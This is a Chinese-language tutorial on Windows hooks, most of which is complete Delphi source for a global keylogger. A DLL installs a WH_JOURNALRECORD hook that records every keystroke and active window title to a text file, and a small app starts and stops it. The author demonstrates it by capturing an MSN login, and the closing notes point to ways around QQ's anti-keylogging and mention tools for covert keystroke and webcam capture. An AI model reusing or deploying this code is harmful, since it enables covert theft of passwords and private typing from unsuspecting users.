一.鈎子的基本概念
a) Hook作用:監視windows消息,在“特定消息”沒有到達窗口之前捕獲它。
b)鈎子分類:
線程專用鈎子:只監視指定的線程
全局鈎子:監視系統中的所有線程
如果Hook過程在應用程序中實現,若應用程序不是當前窗口時,該Hook就不起作用;
如果Hook在DLL中實現,程序在運行中動態調用它,它能實時對整個系統進行監控.
c)幾種常用類型的鈎子:
1)鍵盤鈎子可以監視各種鍵盤消息。
2)鼠標鈎子可以監視各種鼠標消息。
3)外殼鈎子可以監視各種Shell事件消息,啟動和關閉應用程序等。
4)日志鈎子可以記錄從系統消息隊列中取出的各種事件消息。
5)窗口過程鈎子監視所有從系統消息隊列發往目標窗口的消息。
d) 詳細參考:
理論分析:http://blog.csdn.net/yincheng01/article/details/6899305
常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html
二.鍵盤鈎子的實際應用
a)鍵盤鈎子DLL源碼
library KeyboardHook; uses SysUtils, Windows, Messages, Classes; {$R *.res} var hook: HHOOK; {鈎子變量} LastFocusWnd:Hwnd=0; PrvChar:Char; HookKey:String; KeyList:Tstringlist; const KeyMask=$80000000; {鍵盤鈎子函數} function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall; var ch:Char; //記錄一個個按下的按鍵字符 vKey:integer; //表示按下了哪個鍵 FocusWnd:HWND; //當前活動窗口句柄 Title:array[0..255] of char; //窗口句柄的標題 str:array[0..12] of char; // 當8<=vkey<=46時,表示按下的鍵名,例如[退格] PEvt:^EventMsg; //EventMsg的指針 iCapsLock,iNumLock,iShift:integer; //狀態按鍵 bCapsLock,bNumLock,bShift:boolean; //是否按下狀態按鍵 begin if iCode<0 then //遵照SDK文檔 begin Result:=CallNextHookEx(hook,iCode,wParam,lParam); Exit; end; if (iCode = HC_ACTION) then //設備動作 begin PEvt := pointer(Dword(lparam)); //將lparam的指針傳遞給PEvt事件消息指針 FocusWnd:= GetActiveWindow; //獲取活動窗體句柄 if (LastFocusWnd <> FocusWnd) then begin if (HookKey <> '') then begin KeyList.Add('鍵盤擊打:'+HookKey); HookKey:= ''; end; GetWindowText(FocusWnd,Title,256); LastFocusWnd:= FocusWnd; KeyList.add(Format('激活窗口:%s',[Title])); end; if (PEvt.message = WM_KEYDOWN) then //如果事件消息為鍵下壓操作 begin vkey := LoByte(PEvt.paramL ); //取得16進制數最低位那個字節的內容 iShift:= GetKeyState(VK_SHIFT); //獲取這三個鍵的狀態 iCapsLock:= GetKeyState(VK_CAPITAL); iNumLock:= GEtKeyState(VK_NUMLOCK); bShift:= ((iShift and KeyMask) = KeyMask); //判斷它們的狀態 bCapsLock:=(iCapsLock = 1); bNumLock:= (iNumLock = 1); end; if ((vKey >= 48) and (vKey <=57)) then // 0<=char(vkey)<=9 begin if (not bShift) then //如果沒有按下Shift鍵 ch:= char (vkey) //數字字符 else begin case vkey of //否則為以下字符之一 48:ch:= ')'; 49:ch:= '!'; 50:ch:= '@'; 51:ch:= '#'; 52:ch:= '$'; 53:ch:= '%'; 54:ch:= '^'; 55:ch:= '&'; 56:ch:= '*'; 57:ch:= '('; end; //end case end; //end else HookKey:= HookKey + ch; end; //end if ((vKey >= 48) and (vKey <=57)) if ((vKey >=65) and (vKey <= 90)) then // 'A'<=char(vkey)<='Z' begin if (not bCapsLock) then //如果沒有按下CapsLock鍵 begin if (bShift) then //按下了Shift鍵 ch:= char(vkey) //大寫 else ch:= char(vkey + 32); //小寫 end else //按下了CapsLock鍵 begin if (bShift) then //按下了Shift鍵 ch:= char(vkey + 32) //小寫 else ch:= char(vkey); //大寫 end; HookKey:= HookKey + ch; //將按鍵添加到按鍵字符串 end; if ((vkey >= 96) and (vkey <= 105)) then //小鍵盤的0-9 if bNumLock then HookKey:= HookKey + char(vkey - 96 + 48); ch:= 'n'; if ((vkey >= 105) and (vkey <=111)) then //+-*/ begin case vkey of 106:ch:= '*'; 107:ch:= '+'; 109:ch:= '-'; 111:ch:= '/'; else ch:= 'n'; end; end; if ((vkey >=186) and (vkey <= 222)) then //特殊符號 begin if (not bShift) then //沒有按下Shift鍵 begin case vkey of 186:ch:= ';'; 187:ch:= '='; 189:ch:= ','; 190:ch:= '.'; 191:ch:= '/'; 192:ch:= '''' ; 219:ch:= '['; 220:ch:= '\'; 221:ch:= ']'; 222:ch:=char(27); else ch:= 'n'; end; //end case end else begin case vkey of 186:ch:= ':'; 187:ch:= '+'; 189:ch:= '<'; 190:ch:= '>'; 191:ch:= '?'; 192:ch:= '~'; 219:ch:= '{'; 220:ch:= '|'; 221:ch:= '}'; 222:ch:= '"'; else ch:= 'n'; end; //end case end; //end if else end; //end if ((vkey >=186) and (vkey <= 222)) if ch <> 'n' then //剔除未規定字符 HookKey := HookKey + ch; if ((vkey >= 8) and (vkey <=46)) then begin ch:= ' '; case vkey of 8:str:= '[BACK]'; 9:str:= '[TAB]'; 13:str:= '[ENTER]'; 32:str:= '[SPACE]'; 35:str:= '[END]'; 36:str:= '[HOME]'; 37:str:= '[LF]'; 38:str:= '[UF]'; 39:str:= '[RF]'; 40:str:= '[DF]'; 45:str:= '[INSERT]'; 46:str:= '[DELETE]'; else ch:= 'n'; end; if (ch <> 'n') then begin HookKey := HookKey + str; end; end; // KeyList.Add('ABC'); end;//end iCode= HC_ACTION result := CallNextHookEx(hook,iCode,wparam,lparam); end; {建立鈎子} function SetHook:Boolean;stdcall; begin if (hook = 0) then begin KeyList:=Tstringlist.Create; hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0); //調用API HOOK Result:=hook<>0 end else Result:=False; end; {釋放鈎子} function DelHook:Boolean;stdcall; begin if (hook <> 0 ) then begin Result:=UnHookWindowsHookEx(hook); //卸載HOOK hook:=0; KeyList.Free; end else Result:=False; end; procedure PrintHook;stdcall; var printStr:string; txtFile:TextFile; fileName:string; begin if KeyList <> nil then begin printStr:=keyList.Text; KeyList.Text:=''; //將鍵盤輸入內容進行打印 fileName:='E:\SourceCode\DelphiWorkspace\Demo\鍵盤Hook2\keyboardRecord.txt'; AssignFile(txtFile,fileName); if not FileExists(fileName) then begin Rewrite(txtFile); end else begin Append(txtFile); end; Writeln(txtFile,printStr); Closefile(txtFile); end; end; {按DLL的要求輸出函數} exports SetHook name 'SetHook', DelHook name 'DelHook', PrintHook name 'PrintHook'; //SetHook,DelHook,PrintHook;{如果不需要改名,可以直接這樣exports} begin end.
b)應用程序源碼
unit Main; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TFrmMain = class(TForm) Button1: TButton; Button2: TButton; Button3: TButton; Memo1: TMemo; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } isHookInstalled:Boolean; public { Public declarations } end; {DLL 中的函數聲明} function SetHook: Boolean; stdcall; function DelHook: Boolean; stdcall; procedure PrintHook;stdcall; var FrmMain: TFrmMain; implementation {$R *.dfm} {DLL 中的函數實現, 也就是說明來自那里, 原來叫什么名} function SetHook; external 'KeyboardHook.dll' name 'SetHook'; function DelHook; external 'KeyboardHook.dll' name 'DelHook'; procedure PrintHook; external 'KeyboardHook.dll' name 'PrintHook'; procedure TFrmMain.Button1Click(Sender: TObject); begin Self.Button1.Enabled:=False; Self.Button2.Enabled:=True; Self.Button3.Enabled:=True; if SetHook then begin isHookInstalled:=True; Self.Memo1.Lines.Add('鍵盤鈎子已安裝。。。'); end; end; procedure TFrmMain.Button2Click(Sender: TObject); begin PrintHook; Self.Memo1.Lines.Add('已打印'); end; procedure TFrmMain.Button3Click(Sender: TObject); begin if DelHook then begin isHookInstalled:=False; Self.Memo1.Lines.Add('鍵盤鈎子已撤銷!!!'); Self.Memo1.Lines.Add(' '); end; Self.Button1.Enabled:=True; Self.Button2.Enabled:=False; Self.Button3.Enabled:=False; end; procedure TFrmMain.FormCreate(Sender: TObject); begin Self.Button1.Enabled:=True; Self.Button2.Enabled:=False; Self.Button3.Enabled:=False; isHookInstalled:=False; Self.Memo1.Color:=clBlack; Self.Memo1.Font.Color:=clGreen; end; procedure TFrmMain.FormClose(Sender: TObject; var Action: TCloseAction); begin if isHookInstalled then DelHook; end; end.
c)運行結果
1)程序啟動,安裝鍵盤鈎子
2)通過登錄MSN進行測試
3)打印所有鍵盤操作至txt
三.其他
1.QQ登錄窗口防鍵盤鈎子的詳細分析
http://wenku.baidu.com/view/05ecf86727d3240c8447ef9e.html
http://www.sadlycodes.com/?p=745
2.低級鼠標鍵盤鈎子
WH_KEYBOARD_LL
WH_MOUSE_LL
http://hi.baidu.com/32881/blog/item/b410c702ec2e9c1c4afb5111.html
3.幾個小工具
a)QQ啟動后,記錄下部分鍵盤操作
b)指定時間范圍內個人電腦被惡意啟動,記錄下部分屏幕操作,並通過攝像頭進行拍照